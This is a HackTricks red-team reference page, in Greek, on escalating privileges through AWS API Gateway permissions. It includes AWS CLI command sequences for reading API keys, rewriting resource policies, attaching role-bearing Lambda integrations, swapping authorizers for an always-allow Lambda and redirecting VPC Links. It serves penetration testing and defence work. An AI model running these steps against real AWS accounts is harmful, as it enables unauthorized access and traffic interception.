AWS - Apigateway Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Apigateway

Για περισσότερες πληροφορίες δείτε:

AWS - API Gateway Enum

apigateway:POST

Με αυτή την άδεια μπορείτε να δημιουργήσετε API keys των APIs που έχουν ρυθμιστεί (ανά region).

aws --region <region> apigateway create-api-key

Πιθανός Αντίκτυπος: Δεν μπορείτε να privesc με αυτήν την τεχνική αλλά μπορεί να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.

apigateway:GET

Με αυτήν την άδεια μπορείτε να αποκτήσετε τα generated API keys των APIs που έχουν διαμορφωθεί (per region).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Πιθανός Αντίκτυπος: Δεν μπορείτε να αποκτήσετε privesc με αυτήν την τεχνική αλλά μπορεί να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Με αυτά τα δικαιώματα είναι δυνατό να τροποποιήσετε την πολιτική πόρου ενός API ώστε να δώσετε στον εαυτό σας πρόσβαση να το καλέσετε και να καταχραστείτε τυχόν πρόσβαση που μπορεί να έχει το API gateway (π.χ. να καλέσετε ένα ευπαθές lambda).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Πιθανός Αντίκτυπος: Συνήθως δεν θα μπορείτε να κάνετε privesc άμεσα με αυτήν την τεχνική, αλλά μπορεί να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Note

Απαιτείται δοκιμή

Ένας επιτιθέμενος με τα δικαιώματα apigateway:PutIntegration, apigateway:CreateDeployment και iam:PassRole μπορεί να προσθέσει μια νέα ενσωμάτωση σε ένα υπάρχον API Gateway REST API με μια Lambda function που έχει προσαρτημένο IAM role. Ο επιτιθέμενος μπορεί έπειτα να προκαλέσει την εκτέλεση της Lambda function για να εκτελεστεί αυθαίρετος κώδικας και ενδεχομένως να αποκτήσει πρόσβαση στους πόρους που σχετίζονται με το IAM role.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Πιθανός Αντίκτυπος: Πρόσβαση σε πόρους που συνδέονται με τον IAM ρόλο της λειτουργίας Lambda.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Note

Απαιτείται δοκιμή

Ένας επιτιθέμενος με τα δικαιώματα apigateway:UpdateAuthorizer και apigateway:CreateDeployment μπορεί να τροποποιήσει έναν υπάρχοντα authorizer του API Gateway ώστε να παρακάμψει τους ελέγχους ασφάλειας (π.χ. να τον ανακατευθύνει σε ένα Lambda που πάντα επιστρέφει “allow”) ή να εκτελέσει αυθαίρετο κώδικα όταν γίνονται αιτήματα στο API.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Πιθανός αντίκτυπος: Παράκαμψη ελέγχων ασφαλείας, μη εξουσιοδοτημένη πρόσβαση σε πόρους API.

HTTP APIs / apigatewayv2 παραλλαγή

Για τα HTTP APIs (API Gateway v2), η αντίστοιχη λειτουργία είναι η ενημέρωση του authorizer μέσω apigatewayv2:

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

Note

Χρειάζεται δοκιμή

Ένας επιτιθέμενος με την άδεια apigateway:UpdateVpcLink μπορεί να τροποποιήσει ένα υπάρχον VPC Link ώστε να δείχνει σε διαφορετικό Network Load Balancer, ενδεχομένως ανακατευθύνοντας την ιδιωτική κυκλοφορία API σε μη εξουσιοδοτημένους ή κακόβουλους πόρους.

VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Πιθανός αντίκτυπος: Μη εξουσιοδοτημένη πρόσβαση σε ιδιωτικούς πόρους API, υποκλοπή ή διακοπή της κυκλοφορίας API.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks